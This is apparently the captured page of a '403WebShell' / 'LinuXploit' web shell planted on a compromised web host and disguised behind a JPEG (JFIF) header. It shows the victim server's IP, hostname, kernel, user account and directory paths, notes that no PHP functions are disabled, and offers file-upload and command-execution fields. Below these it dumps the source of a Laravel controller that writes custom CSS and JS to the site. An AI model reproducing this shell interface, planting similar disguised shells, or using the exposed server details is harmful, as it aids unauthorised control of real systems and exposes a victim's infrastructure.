����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.144.19.6
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/gle.gltechlimited.com/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/gle.gltechlimited.com/app/Http/Controllers/CustomStyleController.php
<?php

namespace App\Http\Controllers;

use App\HomeTranslation;
use App\Package;
use App\PricingText;
use Illuminate\Http\Request;


class CustomStyleController extends Controller
{
   
    public function __construct()
    {
        $this->middleware('permission:site-settings.style-settings', ['only' => ['addStyle', 'storeCSS', 'storeJS']]);
    }

    public function addStyle()
    {
        $css = @file_get_contents("css/custom-style.css");
        $js = @file_get_contents('js/custom-js.js');
        return view('admin.customstyle.add', compact('css', 'js'));
    }

    public function storeCSS(Request $request)
    {
        if (env('DEMO_LOCK') == 1) {
            return back()->with('deleted', __('This action is disabled in the demo !'));
        }
        $this->validate($request, array(
            'css' => 'required',
        ));
        $css = $request->css;
        file_put_contents("css/custom-style.css", $css . PHP_EOL);
        return redirect()->route('customstyle')->with('added', __('Added Custom CSS !'));
    }

    public function storeJS(Request $request)
    {
        if (env('DEMO_LOCK') == 1) {
            return back()->with('deleted', __('This action is disabled in the demo !'));
        }
        $this->validate($request, array(
            'js' => 'required',
        ));

        $js = $request->js;
        file_put_contents("js/custom-js.js", $js . PHP_EOL);
        return redirect()->route('customstyle')->with('added', __('Added Javascript !'));
    }

    public function pricingText($planid)
    {

        $pricingtexts = PricingText::where('package_id', $planid)->get();
        return view('admin.customstyle.pricingText', compact('pricingtexts', 'planid'));
    }

    public function pricingTextUpdate(Request $request)
    {
        if (env('DEMO_LOCK') == 1) {
            return back()->with('deleted', __('This action is disabled in the demo !'));
        }
        $texts = PricingText::where('package_id', $request->package_id)->first();
        if (isset($texts)) {
            $texts->title1 = $request->title1;
            $texts->title2 = $request->title2;
            $texts->title3 = $request->title3;
            $texts->title4 = $request->title4;
            $texts->title5 = $request->title5;
            $texts->title6 = $request->title6;
            $texts->save();
        } else {
            $input = $request->all();
            PricingText::create($input);
        }

        return back()->with('success', __('Pricing translations has been updated'));

    }
    public function getpricingText(Request $request)
    {

        $package = Package::where('delete_status', '1')->get();
        $selectid = $request->id;
        $pricingtexts = PricingText::where('package_id', $request->id)->get();
        return view('admin.customstyle.pricingText', compact('pricingtexts', 'package', 'selectid'));
    }

    public function getPage()
    {
        $ht1 = HomeTranslation::where('key', 'watch next tv series and movies')->first();
        $ht2 = HomeTranslation::where('key', 'watch next movies')->first();
        $ht3 = HomeTranslation::where('key', 'watch next tv series')->first();
        $ht4 = HomeTranslation::where('key', 'movies in')->first();
        $ht5 = HomeTranslation::where('key', 'tv shows in')->first();
        $ht6 = HomeTranslation::where('key', 'movies')->first();
        $ht7 = HomeTranslation::where('key', 'tv shows')->first();
        $ht8 = HomeTranslation::where('key', 'featured')->first();
        return view('admin.PageSettings.index', compact('ht1', 'ht2', 'ht3', 'ht4', 'ht5', 'ht6', 'ht7', 'ht8'));
    }

    public function updatePage(Request $request, $id)
    {
        $hts = HomeTranslation::findorfail($id);
        if ($hts->status == 0) {
            $hts->status = 1;
        } else {
            $hts->status = 0;
        }

        $hts->save();
        if ($hts->status == 0) {
            return redirect()->route('pageset')->with('updated', __('Page is now Deactive !'));
        } else {
            return redirect()->route('pageset')->with('updated', __('Page is now Active !'));
        }

    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit